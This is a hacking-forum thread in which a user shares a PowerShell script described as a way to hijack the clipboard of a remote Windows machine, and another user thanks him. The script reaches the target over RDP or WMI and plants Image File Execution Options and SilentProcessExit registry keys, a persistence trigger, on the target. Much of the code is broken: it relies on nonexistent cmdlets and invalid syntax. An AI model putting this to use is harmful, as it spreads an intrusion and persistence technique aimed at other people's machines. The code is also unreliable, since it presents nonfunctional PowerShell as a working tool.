Forum:Hack Forums

Thread: Clipboard Hijacking Powershell

Clumsy - *December 2, 2023, 11:49 pm*

This code remotely controls the clipboard on another Windows machine. It first tries connecting through RDP, and if that fails, it uses alternative methods like WMI. It then sets up "Gflags" in the target process's registry so it can trigger another program (like Notepad) when it exits. It sends the desired text to the target clipboard and waits for the other program to launch, signifying successful copying. This process involves error handling and adapts to different connection methods, making it a versatile tool for remote clipboard manipulation.

```
Code # Set variables
$processName = "notepad.exe"
$globalFlag = 512
$reportingMode = 1
$monitorProcess = "C:\Windows\System32\$processName"
$targetMachine = "target_machine_name" # Replace with actual name or IP

# Attempt RDP connection (if specified)
try {
    $session = New-RemoteDesktopSession -ComputerName $targetMachine
} catch {
    $session = $null
    Write-Host "Error connecting to RDP session. Falling back to alternative methods..."
}

# Access target registry
$targetRegistry = $null

# Choose method based on RDP session availability
if ($session) {
    $targetRegistry =
$session.Get-ItemProperty("Registry::HKLM\SOFTWARE\Microsoft\WindowsNT\CurrentVersion")
} else {
    # Use WMI or other non-RDP access methods to set registry values on the target machine
    # Implement your preferred method here, replacing the following example
    # ... (e.g., WMI connection or custom script)
    $targetRegistry = Get-WmiObject -ComputerName $targetMachine -Class Win32_RegistryKey
-Path "HKLM\SOFTWARE\Microsoft\WindowsNT\CurrentVersion"
}

# Error handling for registry access
if ($targetRegistry -eq $null) {
    Write-Host "Error accessing target registry. Clipboard control failed."
    exit
}

try {
    # Set GlobalFlag
```

```
    $targetRegistry.SetPropertyValue("Image File Execution Options\$processName", "GlobalFlag",
$globalFlag)

    # Set ReportingMode and MonitorProcess
    $targetSilentExitKey = $targetRegistry.CreateSubkey("SilentProcessExit\$processName")
    $targetSilentExitKey.SetPropertyValue("ReportingMode", $reportingMode)
    $targetSilentExitKey.SetPropertyValue("MonitorProcess", $monitorProcess)

    # Send text to target clipboard (RDP or alternative method)
    if ($session) {
        $session.SendToClipboard("This text is copied from PowerShell!" -NoTypeInformation)
    } else {
        # Use your chosen method to send text to the target machine's clipboard
        # ... (e.g., WMI, custom script)
        Send-ClipboardContent -Text "This text is copied from PowerShell!" -ComputerName
$targetMachine
    }

    # Wait for process to exit (adjust based on actual process)
    Write-Host "Waiting for target process '$processName' to exit..."
    Start-Sleep -Seconds 5

    # Check if process exited and clipboard was copied
    $copiedText = $session ? $session.Get-Clipboard : Get-ClipboardContent -ComputerName
$targetMachine
    if ($copiedText -eq "This text is copied from PowerShell!") {
        Write-Host "Clipboard successfully copied!"
    } else {
        Write-Host "Clipboard copy failed."
    }
} catch {
    Write-Host "Error during clipboard control: $($_.Exception)"
}

# Clean up and disconnect (if applicable)
if ($session) {
    $targetSilentExitKey.Delete()
    Remove-RemoteDesktopSession -Session $session
}

Write-Host "Remote clipboard control completed."
```

NickyDev - *December 5, 2023, 6:37 pm*

Oh thanks bro for sharing ?